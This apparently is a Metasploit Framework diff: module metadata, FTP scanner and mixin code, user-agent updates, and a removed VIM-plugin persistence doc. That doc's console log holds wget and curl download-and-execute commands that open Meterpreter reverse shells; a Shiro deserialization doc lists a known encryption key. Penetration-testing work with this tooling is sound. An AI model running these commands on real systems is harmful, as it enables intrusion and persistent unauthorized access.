"path": "/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb",
"is_install_path": true,
"ref_name": "linux/local/cve_2026_31431_copy_fail",
@@ -98342,7 +98330,7 @@
"targets": [
"Automatic"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2026-01-08 21:00:39 +0000",
"path": "/modules/exploits/linux/persistence/autostart.rb",
"is_install_path": true,
"ref_name": "linux/persistence/autostart",
@@ -98492,7 +98480,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-05-07 20:06:32 +0000",
"mod_time": "2026-02-18 12:24:09 +0000",
"path": "/modules/exploits/linux/persistence/emacs_extension.rb",
"is_install_path": true,
"ref_name": "linux/persistence/emacs_extension",
@@ -98650,7 +98638,7 @@
"systemd",
"systemd user"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2026-01-08 21:00:39 +0000",
"path": "/modules/exploits/linux/persistence/init_systemd.rb",
"is_install_path": true,
"ref_name": "linux/persistence/init_systemd",
@@ -98995,56 +98983,6 @@
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/vim_plugin": {
"name": "VIM Plugin Persistence",
"fullname": "exploit/linux/persistence/vim_plugin",
"aliases": [],
"rank": 600,
"disclosure_date": "1991-11-03",
"type": "exploit",
"author": [
"h00die"
],
"description": "This module creates a VIM Plugin which executes a payload on VIM startup.",
"references": [
"URL-https://vimways.org/2019/writing-vim-plugin/",
"URL-https://www.linode.com/docs/guides/writing-a-vim-plugin/",
"ATT&CK-T1546"
],
"platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Auto"
],
"mod_time": "2026-05-07 14:17:43 +0000",
"path": "/modules/exploits/linux/persistence/vim_plugin.rb",
"is_install_path": true,
"ref_name": "linux/persistence/vim_plugin",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/wsl/startup_folder": {
"name": "Linux WSL via Startup Folder Persistence",
"fullname": "exploit/linux/persistence/wsl/startup_folder",
@@ -119679,7 +119617,7 @@
"author": [
"L / l-codes <L / l-codes@qq.com>"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable\n installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may\n also be exploitable if the encryption key used by Shiro to encrypt rememberMe\n cookies is known.\n\n The gadget chain used for Java deserialization must be present on the target's classpath.",
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable\n installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may\n also be exploitable if the encryption key used by Shiro to encrypt rememberMe\n cookies is known.",
"references": [
"CVE-2016-4437",
"URL-https://github.com/Medicean/VulApps/tree/master/s/shiro/1"
@@ -119706,7 +119644,7 @@
"Unix Command payload",
"Windows Command payload"
],
"mod_time": "2026-05-05 17:12:22 +0000",
"mod_time": "2025-12-17 16:12:31 +0000",
"path": "/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb",
"is_install_path": true,
"ref_name": "multi/http/shiro_rememberme_v124_deserialize",
@@ -130721,7 +130659,7 @@
"OSX",
"Windows"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2025-12-17 16:12:31 +0000",
"path": "/modules/exploits/multi/persistence/obsidian_plugin.rb",
"is_install_path": true,
"ref_name": "multi/persistence/obsidian_plugin",
@@ -130829,7 +130767,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2026-01-08 21:00:39 +0000",
"path": "/modules/exploits/multi/persistence/python_site_specific_hook.rb",
"is_install_path": true,
"ref_name": "multi/persistence/python_site_specific_hook",
@@ -134227,7 +134165,7 @@
"Python payload",
"Command payload"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2025-09-23 16:59:26 +0000",
"path": "/modules/exploits/osx/persistence/launch_plist.rb",
"is_install_path": true,
"ref_name": "osx/persistence/launch_plist",
@@ -204261,7 +204199,7 @@
"targets": [
"Automatic"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2025-12-21 08:00:03 +0000",
"path": "/modules/exploits/windows/persistence/notepadpp_plugin.rb",
"is_install_path": true,
"ref_name": "windows/persistence/notepadpp_plugin",
@@ -204311,7 +204249,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-05-07 14:31:12 +0000",
"mod_time": "2026-04-13 14:56:04 +0000",
"path": "/modules/exploits/windows/persistence/powershell_profile.rb",
"is_install_path": true,
"ref_name": "windows/persistence/powershell_profile",
@@ -213854,7 +213792,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -218215,7 +218153,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell",
"description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -222576,7 +222514,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -271797,7 +271735,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-01 13:50:15 +0000",
"mod_time": "2026-04-30 15:55:14 +0000",
"path": "/modules/payloads/singles/linux/aarch64/exec.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/exec",
@@ -272207,10 +272145,9 @@
"disclosure_date": null,
"type": "payload",
"author": [
"Jonathan Salwan",
"Spencer McIntyre"
"Jonathan Salwan"
],
"description": "Execute an arbitrary command or just a /bin/sh shell",
"description": "Execute an arbitrary command",
"references": [],
"platform": "Linux",
"arch": "armle",
@@ -272218,7 +272155,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-04 13:49:03 +0000",
"mod_time": "2025-04-20 02:57:34 +0000",
"path": "/modules/payloads/singles/linux/armle/exec.rb",
"is_install_path": true,
"ref_name": "linux/armle/exec",
@@ -273856,7 +273793,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2025-04-20 02:57:34 +0000",
"path": "/modules/payloads/singles/linux/x64/exec.rb",
"is_install_path": true,
"ref_name": "linux/x64/exec",
@@ -274151,7 +274088,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2025-07-05 15:57:38 +0000",
"path": "/modules/payloads/singles/linux/x64/set_hostname.rb",
"is_install_path": true,
"ref_name": "linux/x64/set_hostname",
@@ -274539,7 +274476,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2025-04-20 02:57:34 +0000",
"path": "/modules/payloads/singles/linux/x86/exec.rb",
"is_install_path": true,
"ref_name": "linux/x86/exec",
@@ -275081,7 +275018,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2025-04-20 02:57:34 +0000",
"path": "/modules/payloads/singles/linux/x86/read_file.rb",
"is_install_path": true,
"ref_name": "linux/x86/read_file",
@@ -277063,7 +277000,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2025-04-20 02:57:34 +0000",
"path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/shell_reverse_tcp",
@@ -282639,7 +282576,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2026-04-17 05:35:14 +0000",
"path": "/modules/payloads/singles/windows/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/download_exec",
@@ -282774,7 +282711,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2026-04-17 05:35:14 +0000",
"path": "/modules/payloads/singles/windows/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/messagebox",
@@ -289322,7 +289259,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2026-04-17 05:35:14 +0000",
"path": "/modules/payloads/singles/windows/x64/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/x64/download_exec",
@@ -289416,7 +289353,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-05-08 11:48:34 +0000",
"mod_time": "2026-04-17 05:35:14 +0000",
"path": "/modules/payloads/singles/windows/x64/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/x64/messagebox",
@@ -52,7 +52,7 @@ This module allows us to scan through a series of IP Addresses and provide detai
## Verification Steps
1. Do: ```use auxiliary/scanner/ftp/ftp_anonymous```
1. Do: ```use auxiliary/scanner/ftp/anonymous```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [IP]```
4. Do: ```run```
@@ -62,17 +62,17 @@ This module allows us to scan through a series of IP Addresses and provide detai
### vsFTPd 3.0.3 on Kali
```
msf > use auxiliary/scanner/ftp/ftp_anonymous
msf auxiliary(ftp_anonymous) > set RHOSTS 127.0.0.1
msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(ftp_anonymous) > set RPORT 21
msf auxiliary(anonymous) > set RPORT 21
RPORT => 21
msf auxiliary(ftp_anonymous) > exploit
msf auxiliary(anonymous) > exploit
[+] 127.0.0.1:21 - 127.0.0.1:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ftp_anonymous) >
msf auxiliary(anonymous) >
```
## Confirming using NMAP
@@ -1,99 +0,0 @@
## Vulnerable Application
This module creates a VIM Plugin which executes a payload on VIM startup.
## Verification Steps
1. Install the application if needed
2. Start msfconsole
3. Get a shell on a linux computer with vim installed
4. Do: `use exploit/linux/persistence/vim_persistence`
5. Do: `run`
6. Start `vim` on the remote computer
7. You should get a shell.
## Options
### NAME
Name of the extension. Defaults to random.
## Scenarios
### vim 9.1.2141 on Kali 2026.1
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/vim_persistence) > set session 1
session => 1
msf exploit(linux/persistence/vim_persistence) > exploit
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. VIM is installed
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
```
Open vim
```
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
```
@@ -7,10 +7,8 @@ unauthenticated user can submit a YSoSerial payload to the Apache Shiro web
server as the value to the `rememberMe` cookie. This will result in code
execution in the context of the web server.
The YSoSerial `CommonsCollections2` payload is known to work and is the
default gadget chain used by this module. The gadget chain is configurable
via the `JAVA_GADGET_CHAIN` option; the selected chain must be available on
the target's classpath.
The YSoSerial `CommonsCollections2` payload is known to work and is the one
leveraged by this module.
Note that other versions of Apache Shiro may also be exploitable if the
encryption key used by Shiro to encrypt `rememberMe` cookies is known.
@@ -31,13 +29,9 @@ You can use <https://github.com/Medicean/VulApps/tree/master/s/shiro/1>.
3. `run`
## Options
### ENC_KEY
The encryption key the target Apache Shiro server is using to encrypt its `rememberMe` cookies.
### JAVA_GADGET_CHAIN
The Java deserialization gadget chain to use. The chain must be available on the target's classpath.
## Scenarios
### Tested on GNU/Linux x86_64 using Shiro-1.2.4
@@ -49,16 +43,15 @@ msf exploit(multi/http/shiro_rememberme_v124_deserialize) > show options
Module options (exploit/multi/http/shiro_rememberme_v124_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
JAVA_GADGET_CHAIN CommonsCollections2 yes The Java gadget chain to use for deserialization
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.133"
VERSION = "6.4.132"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+4 -5
View File
@@ -101,10 +101,9 @@ module Msf::DBManager::Vuln
#
def report_vuln(opts)
return if not active
raise ArgumentError.new("report_vuln Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("report_vuln Deprecated data column for vuln, use .info instead") if opts[:data]
raise ArgumentError.new("report_vuln Missing required option :name") if opts[:name].nil?
name = opts[:name]
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data]
name = opts[:name] || return
info = opts[:info]
::ApplicationRecord.connection_pool.with_connection {
@@ -334,7 +333,7 @@ module Msf::DBManager::Vuln
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the Vuln entries to delete.
# @return [Array] Array containing the Mdm::Vuln objects that were successfully deleted.
def delete_vuln(opts)
raise ArgumentError.new("delete_vuln The following options are required: :ids") if opts[:ids].nil?
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ApplicationRecord.connection_pool.with_connection {
deleted = []
+8 -52
View File
@@ -11,7 +11,6 @@ module Msf
module Exploit::Remote::Ftp
include Exploit::Remote::Tcp
include Msf::Auxiliary::Report
#
# Creates an instance of an FTP exploit module.
@@ -48,65 +47,22 @@ module Exploit::Remote::Ftp
# message is read in and stored in the 'banner' attribute.
#
def connect(global = true, verbose = nil)
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
print_status("Connecting to FTP server...") if verbose
print_status("Connecting to FTP server #{rhost}:#{rport}...") if verbose
begin
fd = super(global)
rescue ::Rex::ConnectionRefused
report_host(host: rhost)
raise
end
fd = super(global)
# Wait for a banner to arrive...
self.banner = recv_ftp_resp(fd)
print_status('Connected to target FTP server') if verbose
# Only record the service and banner when the greeting looks like FTP (RFC 959)
if self.banner&.match?(/^(120|220)[\s-]/)
# Cleaned up FTP banner
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: Rex::Text.to_hex_ascii(banner_version),
parents: {
host: rhost,
port: rport,
proto: 'tcp',
name: 'tcp'
}
)
# Raw FTP banner
report_note(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'ftp',
type: 'ftp.banner',
data: { banner: Rex::Text.to_hex_ascii(self.banner.strip) }
)
end
print_status("Connected to target FTP server.") if verbose
# Return the file descriptor to the caller
fd
end
# Extracts a normalized version string from the FTP banner
# 220 (vsFTPd 2.3.4)\x0d\x0a -> vsFTPd 2.3.4
# 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]\x0d\x0a -> ProFTPD 1.3.1 Server (Debian)
def banner_version
banner.to_s
.sub(/^\d{3}[\s-]/, '')
.strip
.gsub(/\A\(|\)\z/, '')
.gsub(/\s*\[(?:(?:\d{1,3}\.){3}\d{1,3}|[0-9A-Fa-f:]*:[0-9A-Fa-f:.]+)\]/, '')
end
#
# This method handles establishing datasocket for data channel
#
@@ -177,8 +133,8 @@ module Exploit::Remote::Ftp
# that have been supplied in the exploit options.
#
def connect_login(global = true, verbose = nil)
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
ftpsock = ftp_connect(global, verbose)
if !(user and pass)
@@ -356,7 +312,7 @@ module Exploit::Remote::Ftp
if not found_end
resp << ln
resp << "\r\n"
if ln.length > 3 and ln[3,1] == ' ' and ln[0,3] =~ /\A\d{3}\z/
if ln.length > 3 and ln[3,1] == ' '
found_end = true
end
else
+1 -5
View File
@@ -4,7 +4,6 @@ module Msf::Post::Architecture
# Get the architecture of the target's operating system.
# @return [String, Nil] Returns a string containing the target OS architecture if known, or Nil if its not known.
#
def get_os_architecture
if session.type == 'meterpreter'
os_architecture = sysinfo['Architecture']
@@ -32,10 +31,7 @@ module Msf::Post::Architecture
print_error('Target is running Windows on an unsupported architecture!')
return nil
end
when 'linux', 'bsd', 'osx'
uname_m = cmd_exec('uname -m').to_s.strip
Rex::Arch.from_uname(uname_m)
end
end
end
end
end
+3 -3
View File
@@ -168,8 +168,8 @@ class PayloadCachedSize
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Integer, String]
def self.compute_cached_size(framework, mod, generation_count: 10)
return ":dynamic" if is_dynamic?(framework, mod, generation_count: generation_count)
def self.compute_cached_size(framework, mod)
return ":dynamic" if is_dynamic?(framework, mod)
mod.replicant.generate_simple(module_options(mod)).bytesize
end
@@ -180,7 +180,7 @@ class PayloadCachedSize
# @param generation_count [Integer] The number of iterations to use to
# verify that the size is static.
# @return [Boolean]
def self.is_dynamic?(framework, mod, generation_count: 10)
def self.is_dynamic?(framework, mod, generation_count=10)
return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize
opts = module_options(mod)
last_bytesize = nil
+7 -7
View File
@@ -9,16 +9,16 @@ module Rex::UserAgent
# Taken from https://www.whatismybrowser.com/guides/the-latest-user-agent/
#
COMMON_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', # Chrome Windows
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', # Chrome MacOS
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36', # Chrome Windows
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36', # Chrome MacOS
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86', # Edge Windows
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Edg/147.0.3912.98', # Edge Windows
'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1', # Safari iPad
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15', # Safari MacOS
'Mozilla/5.0 (iPad; CPU OS 18_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1', # Safari iPad
'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15', # Safari MacOS
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0', # Firefox Windows
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0' # Firefox MacOS
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0', # Firefox Windows
'Mozilla/5.0 (Macintosh; Intel Mac OS X 15.7; rv:150.0) Gecko/20100101 Firefox/150.0' # Firefox MacOS
]
#
+1 -2
View File
@@ -126,8 +126,7 @@ class MetasploitModule < Msf::Auxiliary
report_vuln(
:host => shost,
:port => datastore['RPORT'],
:proto => 'udp',
:name => "DNS",
:proto => 'udp', :name => "DNS",
:info => "DNS amplification - #{data.length} bytes [#{amp.round(2)}x Amplification]",
:refs => self.references
)
+101
View File
@@ -0,0 +1,101 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Description' => 'Detect anonymous (read/write) FTP server access.',
'References' => [
['URL', 'https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
]
)
end
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
if res
write_check = send_cmd(['MKD', dir], true)
if write_check && write_check =~ /^2/
send_cmd(['RMD', dir], true)
print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})")
access_type = 'Read/Write'
else
print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})")
access_type = 'Read-only'
end
register_creds(target_host, access_type)
elsif banner
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: banner
)
end
disconnect
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Rex::ConnectionError, ::IOError
end
end
def register_creds(target_host, access_type)
# Build service information
service_data = {
address: target_host,
port: datastore['RPORT'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Build credential information
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['FTPPASS'],
private_type: :password,
username: datastore['FTPUSER'],
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
access_level: access_type,
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
@@ -1,134 +0,0 @@
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Module::Deprecated
moved_from 'auxiliary/scanner/ftp/anonymous'
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Description' => 'Detect anonymous (read/write) FTP service access.',
'References' => [
['URL', 'https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
['CVE', '1999-0497'],
],
'Author' => [
'Matteo Cantoni <goony[at]nothink.org>',
'g0tmi1k' # @g0tmi1k - additional features
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(21),
OptBool.new('STORE_LOOT', [false, 'Store the directory listing as loot', true])
]
)
end
def run_host(target_host)
res = connect_login(true, false)
if res
dir = Rex::Text.rand_text_alpha(8)
vprint_status("Testing write access, creating test directory: #{dir}")
# Alt would be to use STOR
write_check = send_cmd(['MKD', dir], true)
if write_check && write_check =~ /^2/
access_type = 'Read/Write'
vprint_status("Removing test directory: #{dir}")
send_cmd(['RMD', dir], true)
else
access_type = 'Read-only'
end
print_good("Anonymous #{access_type} access (#{@banner_version})")
if datastore['STORE_LOOT']
vprint_status('Listing directory contents')
listing = send_cmd_data(['LS'], nil)
if listing.nil?
print_warning('Could not retrieve directory listing (data connection failed)')
elsif listing[1].nil? || listing[1].empty?
vprint_status('Directory listing: (empty)')
else
vprint_status("Directory listing:\n#{listing[1]}")
path = store_loot('ftp.anonymous', 'text/plain', rhost, listing[1], 'ftp_anonymous.txt', 'Anonymous FTP directory listing')
print_good("Directory listing stored to: #{path}")
end
end
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'ftp',
name: 'Anonymous FTP Access',
info: "Anonymous FTP login accepted with #{access_type} access",
refs: references
)
register_creds(target_host, access_type)
elsif banner
print_warning("FTP service, but no anonymous access (#{banner_version})")
else
vprint_warning('No FTP banner received')
end
rescue ::Rex::TimeoutError, ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNREFUSED => e
vprint_error(e.message)
report_host(host: rhost)
rescue ::Interrupt
raise $ERROR_INFO
ensure
disconnect
end
def register_creds(target_host, access_type)
# Build service information
service_data = {
address: target_host,
port: rport,
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Build credential information
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_data: datastore['FTPPASS'],
private_type: :password,
username: datastore['FTPUSER'],
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
access_level: access_type,
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
-2
View File
@@ -46,8 +46,6 @@ class MetasploitModule < Msf::Auxiliary
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:name => 'HTTP TRACE Method Enabled (Cross-Site Tracing)',
:refs => references,
:info => "Vulnerable to Cross-Site Tracing"
)
else
@@ -217,7 +217,7 @@ class MetasploitModule < Msf::Exploit::Remote
'vars_post' => params
})
fail_with(Failure::Unknown, 'Could not create a new user') if res.nil? || res.code == 403
